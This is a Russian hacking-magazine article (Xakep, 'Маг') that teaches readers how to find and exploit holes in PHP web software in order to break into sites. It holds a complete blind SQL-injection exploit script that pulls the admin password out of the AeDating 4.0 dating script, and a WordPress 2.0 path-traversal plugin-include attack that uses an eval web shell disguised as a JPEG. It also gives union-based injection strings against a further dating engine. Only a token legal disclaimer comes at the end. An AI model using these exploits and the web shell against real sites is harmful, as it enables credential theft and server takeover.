Невечный двигательМаг Хакер, номер #105, стр. 074 (mag@real.xakep.ru, icq 884888) Ищем баги в экстремальных условиях!Здравствуй, мой юный хакер! Бывало ли с тобой когда-нибудь так, что на сайте, который тебе во что бы то ни стало надо было сломать, стоял патченый паблик-движок? Да? И ты наверняка сразу же лез на http://domainsdb.net, но, не найдя там никаких бажных соседей нужного тебе сайта, в отчаянии забрасывал его. Многие так бы и сделали, но мы поступим иначе =). Прямо здесь и сейчас я научу тебя нехитрой работе багоискателя =). Итак, поехали! Запасаемся необходимымКак ты, наверное, догадываешься, для взлома нужны определенные инструменты:
Установив все вышеперечисленные проги и купив необходимое количество пива, ты можешь со спокойной душой запускать Денвер и следовать за мной по пути взлома популярных php-движков =). Первая жертваВ качестве первого подопытного кролика я выбрал небезызвестный скрипт знакомств AeDating версии v.4.0 (ссылку на скачивание давать не буду, поскольку этот софт платный, можешь поискать движок на бескрайних просторах инета). После успешной инсталляции скрипта я перешел по адресу http://localhost/date и увидел довольно симпатичную главную страницу датинга, что заставило меня немедленно полезть в его исходники в поисках уязвимости типа php-include. Итак, все файлы в папке admin/ при вызове требуют авторизации: $ADMIN = member_auth( 1 ); Поскольку по дефолту на взламываемом ресурсе у нас не будет прав админа, такие файлы для изучения нам, естественно, не подойдут. Дальше, постепенно перебирая все файлы и папки, натыкаемся на папочку inc/, где, открыв первый попавшийся файлик - admin.inc.php, видим такую строчку: require_once("{$dir['inc']}match.inc.php"); Типичный php-инклуд. Описывать его я не буду, поскольку, как позже выяснилось, это была паблик-уязвимость, а нам надо найти свою и неповторимую. Теперь в поисках бага (уже SQL-injection) логичней всего было полазить из браузера по самому скрипту, чем я и занялся. Быстренько зарегавшись и войдя в свой профиль, я кликнул по первой попавшейся ссылке поиска юзеров для знакомства (http://localhost/date/search.php) и увидел там множество полей, над которыми можно было вволю поиздеваться =). Введя кавычку в поле «Поиск по ID», я ничего не получил, а вот второе поле - «Поиск по нику» - отреагировало на мои извращения следующим образом: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in z:\home\lamer\www\date3\search_result.php on line 435 SELECT Profiles.ID, Headline, Country, Occupation, City, Sex, Sex2, ProfileType, NickName, Подсчитав количество полей (их оказалось 18), я ввел следующее значение в «Поиск по нику»: ' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/* Но скрипт обломал меня, нигде не показав результат моего запроса. Копать глубже было лень, и я пошел по другим разделам датинга. Оговорюсь сразу, что бесполезных инъекций, подобных предыдущей, было великое множество (например, http://localhost/date/profile_edit.php?ID=1', для тренировки ты можешь поискать их сам), но практической пользы они принести опять же не могли. После получаса поисков мое внимание привлек нехитрый скрипт для оценки фотографий пользователей: http://localhost/date/rate.php. При заходе на него взору открывается рандомная фотка из рандомного профиля юзера (тебе надо зарегать нового пользователя и залить для него фотку, чтобы следовать за мной дальше). Открыв исходный текст страницы, я увидел там hidden-параметры ID и pic_number и немного подкорректировал html-код уже сохраненной на винт странички: <form method=post name=FormVote> заменил на <form method=post name=FormVote action="http://localhost/date/rate.php"> затем <input type="hidden" name="ID" value=2> на <input name="ID" value=2> и <input type="hidden" name="pic_number" value=1> на <input name="pic_number" value=1> Затем я подставил во вновь образовавшиеся два поля кавычку и увидел вывод скрипта: SELECT AVG(Mark) FROM VotesPhotos WHERE Member=2 AND Pic=1' Значит, в нашем случае не фильтровалось поле с pic_number. Его-то мы и будем дальше использовать для нашей blind SQL-injection =). Итак, смотрим, что будет, если подставить в наше поле синтаксически верный запрос. Например, «1 AND 1=1/*». Скрипт выплюнет нам страничку, которая и должна быть при правильном ее использовании =). А теперь подставляем в уязвимое поле «1 AND 1=2/*» и видим: «Всего голосов: 0» и «Средний рейтинг: 0.0». При правильном запросе - «Всего голосов: 1». Теперь на основе полученной информации можно написать несложный эксплойт на том же самом PHP. Автоматизация процессаЯ не буду сильно углубляться в кодинг, моя задача - написать демонстрационный эксплойт, чтобы показать возможности найденного бага. Для начала нам необходимо узнать, в какой таблице хранятся логины и пароли админов датинга, для чего идем по адресу http://localhost/phpmyadmin и смотрим базу нашего скрипта (у меня это date). Таблица с админами обнаруживается сразу - это Admins. Теперь необходимо продумать структуру сплоита. Для простоты я буду писать его для MySQL версии 4.1 (и выше), поддерживающего подзапросы. Итак, наш ядовитый запрос, вставляемый в то самое уязвимое поле, будет выглядеть следующим образом: 1 and char($char)=(select substring(Password,1,1) from Admins limit 1)/* Здесь $char - это ASCII-код первого перебираемого символа из поля с паролем админа, то есть если этот символ равен перебираемому, тогда скрипт выполнится верно (аналог «1 AND 1=1/*» из моего примера) и покажет, что всего голосов 1, в противном случае - что голосов 0 =). Думаю, что тут все понятно, и можно приступать к написанию сплоита. Сразу оговорюсь, что мускулу все равно, большими мы буквами оперируем или маленькими, поэтому возьмем диапазон только из маленьких букв. Вот код моего небольшого сплоита с комментариями: <? //адрес уязвимого скрипта $site='localhost'; $path='/date/rate.php'; //перебираемый в данный момент символ пароля $now_symbol=1; //массив с ASCII-кодами символов a-z, 0-9 $arr=array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122); function check($char) { global $site,$path,$now_symbol; $fp = fsockopen($site, 80, $errno, $errstr, 30); //строка с POST-параметрами, включая бажный pic_number $data="ID=242815&pic_number=1 and char($char)=(select substring(Password,$now_symbol,1) from Admins limit 1)/*&vote=1"; $out = "POST $path HTTP/1.1\r\n"; $out .= "Host: $site\r\n"; $out .= "Content-type: application/x-www-form-urlencoded\r\n"; $out .= "Connection: Close\r\n"; $out .= "User-Agent: Opera\r\n"; //сюда обязательно вставляем куки нашего зареганного пользователя $out .= "Cookie: memberID=251251;memberPassword=sepZr7YHwgxGw;\r\n"; $out .= "Content-Length: ".strlen($data)."\r\n\r\n"; fwrite($fp, $out.$data); while (!feof($fp)) { $kusok.= fread($fp, 4800); } fclose($fp); return $kusok; } $i=0; //проверка на средний рейтинг, равный 0.0, пока запрос неверен while(ereg('(0\.0)',check($arr[$i]))) { flush(); print chr($arr[$i]).'-not<br/>'; $i++; } print chr($arr[$i]).'-yes<br/>'; ?> Запустив этот сплоит у себя на компьютере и изменяя значение $now_symbol, ты через несколько минут соберешь весь пароль админа =). Конечно, можно доделать этот код, чтобы не вписывать новое значение искомого символа после каждой найденной буквы пароля, но рамки статьи этого не позволяют - потрудись это сделать самостоятельно. Дальше, уже из админки, ты можешь спокойно получить шелл на сервере, просто залив php-файл в качестве баннера или фотографии =). Новая кровьКак ты уже понял, на одном датинге мы не собираемся останавливаться =). Следующая наша жертва - небезызвестный движок для блогов WordPress версии 2.0. Именно в нем я нашел способ заливки шелла из админки, даже когда нет прав, чтобы редактировать шаблоны и плагины. Наша задача - любыми методами попасть в эту пресловутую админку. Для этого можно воспользоваться любым из сплоитов, предоставленных на http://milw0rm.com. Описание их работы не является моей задачей =). Итак, поставив движок на свой комп, создав нового админа, мы логинимся и оказываемся в огромной админке. Теперь нужно искать баги. Для этого подставляем кавычки во всевозможные параметры, вписываем что-то типа /etc/passwd во всевозможные окошки, но нигде нам не подворачивается ничего стоящего. А теперь посмотри внимательно на исходник страницы с плагинами plugins.php. Видишь в самом верху? if ('activate' == $_GET['action']) { $current = get_settings('active_plugins'); if (!in_array($_GET['plugin'], $current)) { $current[] = trim( $_GET['plugin'] ); sort($current); update_option('active_plugins', $current); include(ABSPATH . 'wp-content/plugins/' . trim( $_GET['plugin'] )); do_action('activate_' . trim( $_GET['plugin'] )); } Это значит, что, если активируется какой-либо новый плагин, он сразу инклудится прямо в движок без какой-либо проверки пути или содержимого! Теперь остается только залить куда-нибудь шелл, с помощью которого мы будем измываться над жертвой. Благо WordPress предоставляет такую возможность =). Заходим в «Options -> Miscellaneous», ставим галочку Allow File Uploads и вводим следующий путь для загрузки файлов вместо существующего: /../../../../../../../../../../../../../../../../../tmp. После всех вышеописанных действий самое время заливать шелл =). Для этого подготовим файлик (например, 1.jpg) со следующим содержимым: <?php if(isset($_GET[aa])) { eval(trim(stripslashes($_GET[aa]))); } ?> Заливаем этот файл посредством HTML-формы, которая находится на страничке создания новой блоговой записи. Все. Теперь со спокойной душой открываем http://localhost/wordpress/wp-admin/plugins.php?action=activate&plugin=/../../../../../../../../../../../../../../../../../../../1.jpg. Шелл успешно заинклудится в наш скрипт, и мы сможем его использовать следующим образом: http://localhost/wordpress/aa=system('id'); А вообще для инклуда в чужие скрипты я использую php-код собственного написания, который ты можешь найти на диске, прилагаемом к журналу. Дальше, думаю, ты разберешься =). Сейчас же на моем операционном столе находится новый пациент. Датинги рулят!И вот снова под микроскопом очередной скрипт популярного датинга (что-то они мне полюбились =)). На этот раз - Dating Software, довольно удачный конкурент предыдущего бажного движка. Здесь я действовал так же, как и при предыдущем поиске бага. Мельком просмотрел сорцы на php-инклуд, повтыкал кавычки в разные параметры, но, на свое удивление, не обнаружил таких глупых ошибок, какие я находил ранее. Пришлось более основательно копаться в исходниках =(. Первым делом я полез в index.php и чуть не упал со стула, когда в первых же строчках кода увидел следующее: if (isset ($HTTP_GET_VARS['referid'])) { $referid=$HTTP_GET_VARS['referid']; setcookie("referrer","$referid",0); $query="SELECT aff_clickthru FROM affiliates WHERE aff_userid=$referid"; $result=mysql_query($query,$link) or die(mysql_error()); Переменная $referid совершенно не фильтровалась! Чтобы убедиться в этом воочию, я проследовал по адресу http://lamer/date/?referid=' (туда я поставил новый датинг) и увидел ошибку, которую ты можешь наблюдать на скриншоте =). В данном случае тоже ничего нельзя было получить просто и нужно было думать над составлением запроса и написанием сплоита к найденной инъекции. После бутылки пива я, наконец, составил нужный мне запрос для MySQL версии 4.1 (и выше). Он выглядел следующим образом: /?referid=-99 union select 1 from members where mem_userid=14576 Объясняю. 14576 - это ID администратора (manager) по дефолту. Если наш запрос выполнится и будет верным (то есть «"and 1=1"/*», как в предыдущем примере), то мы перейдем на следующий запрос в скрипте и увидим такую ошибку: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1 from members where mem_userid=14576 and 1=1/*' at line 1] update affiliates set aff_clickthru = aff_clickthru+1 where aff_userid=-99 union select 1 from members where mem_userid=14576 and 1=1/* Скрипт пытается подставить наш корявый $referid в UPDATE-запрос, что, естественно, вызывает ошибку. Если же запрос не найдет совпадений в базе (то есть перебираемый символ не будет равен нужному символу в пароле админа), то скрипт попросту выдаст нам свою главную страницу, даже не заругавшись. Не буду приводить код эксплойта под этот баг, ты сможешь найти его на диске к журналу. Скажу лишь, что он работает по принципу нахождения ключевого слова syntax: если оно есть - перебираем дальше, если нет - искомый символ найден. ЭпилогПодведем небольшой итог. Были найдены три очень серьезные уязвимости в движках, которых полно в инете; было проанализировано много строк php-кода и раскрыты некоторые тонкости поиска багов. Теперь, кто знает, может быть, именно ты найдешь новую дыру, приводящую к заливке шелла в последнем phpBB ;-). WWW
DANGERСледует отдавать себе отчет в том, что эта статья была написана исключительно в исследовательских целях и любые твои действия, нарушающие законы страны, в которой ты проживаешь, могут привести к уголовной ответственности. INFOТы не можешь использовать платные движки на своем веб-сайте. После ознакомления с движком, ты обязан удалить его со своего компьютера. Когда будешь искать баги, первым делом проверь hidden-поля в различных html-формах. Наиболее вероятно, что именно в таком поле не будет фильтроваться пользовательский ввод. |